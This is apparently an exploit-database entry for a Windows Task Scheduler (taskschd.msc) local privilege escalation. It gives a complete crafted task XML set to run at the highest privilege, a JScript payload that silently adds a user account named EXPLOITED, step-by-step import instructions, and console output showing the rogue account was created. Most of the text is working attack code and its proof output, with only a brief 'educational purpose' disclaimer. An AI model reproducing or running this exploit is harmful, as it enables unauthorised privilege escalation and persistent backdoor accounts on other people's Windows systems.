Microsoft Windows taskschd.msc Privilege Escalation

` Microsoft Windows 'taskschd.msc'   
Local SYSTEM Privilege Escalation  
  
Todor Donev <[email protected]>  
https://www.ethical-hacker.org/  
https://www.facebook.com/ethicalhackerorg  
  
Disclaimer:  
This or previous programs is for Educational  
purpose ONLY. Do not use it without permission.  
The usual disclaimer applies, especially the  
fact that Todor Donev is not liable for any  
damages caused by direct or indirect use of the  
information or functionality provided by these  
programs. The author or any Internet provider  
bears NO responsibility for content or misuse  
of these programs or any derivatives thereof.  
By using these programs you accept the fact  
that any damage (dataloss, system crash,  
system compromise, etc.) caused by the use  
of these programs is not Todor Donev's  
responsibility.  
  
Use them at your own risk!  
  
Related exploit:   
https://www.exploit-db.com/exploits/35850/  
  
  
C:\Users\test\Desktop>net user  
  
User accounts for \\ETHACK-PC  
  
-------------------------------------------------------------------------------  
Administrator Guest test  
The command completed successfully.  
  
  
C:\Users\test\Desktop>net user EXPLOITED /add  
System error 5 has occurred.  
  
Access is denied.  
  
  
C:\Users\test\Desktop>  
  
The user 'test' has no privileges to add user.  
Okey! Let's hacking..  
  
Now, we must create suidshell!  
  
C:\Users\test\Desktop>type w00tw00t.xml  
  
<?xml version="1.0" encoding="UTF-16"?>  
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  
<RegistrationInfo>  
<Date>1337-01-01T13:37:07.9601296</Date>  
<Author>NT-AUTHORITY\SYSTEM</Author>  
</RegistrationInfo>  
<Triggers />  
<Principals>  
<Principal id="Author">  
<UserId>ETHACK-PC\test</UserId>  
<LogonType>S4U</LogonType>  
<RunLevel>HighestAvailable</RunLevel>  
</Principal>  
</Principals>  
<Settings>  
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>  
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>  
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>  
<AllowHardTerminate>true</AllowHardTerminate>  
<StartWhenAvailable>true</StartWhenAvailable>  
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>  
<IdleSettings>  
<StopOnIdleEnd>true</StopOnIdleEnd>  
<RestartOnIdle>false</RestartOnIdle>  
</IdleSettings>  
<AllowStartOnDemand>true</AllowStartOnDemand>  
<Enabled>true</Enabled>  
<Hidden>false</Hidden>  
<RunOnlyIfIdle>false</RunOnlyIfIdle>  
<WakeToRun>false</WakeToRun>  
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>  
<Priority>7</Priority>  
<RestartOnFailure>  
<Interval>PT1M</Interval>  
<Count>3</Count>  
</RestartOnFailure>  
</Settings>  
<Actions Context="Author">  
<Exec>  
<Command>%USERPROFILE%\Desktop\EXPLOIT.JS</Command>  
</Exec>  
</Actions>  
</Task>  
  
C:\Users\test\Desktop>type EXPLOIT.JS  
  
suidshell = WScript.CreateObject("WScript.Shell");  
suidshell.run("cmd.exe /c net user EXPLOITED EXPLOITED /add", 0);  
  
  
Okey. Now, our PAYLOAD is ready for IMPORT in Task Scheduler v1.0  
  
Run 'taskschd.msc' -> Import Task.. -> Select and Open: w00tw00t.xml -> Run  
  
  
C:\Users\test\Desktop>net user  
  
User accounts for \\ETHACK-PC  
  
-------------------------------------------------------------------------------  
Administrator EXPLOITED Guest  
test  
The command completed successfully.  
  
  
C:\Users\test\Desktop>  
  
OWNED.. I've got the powah.. :))  
`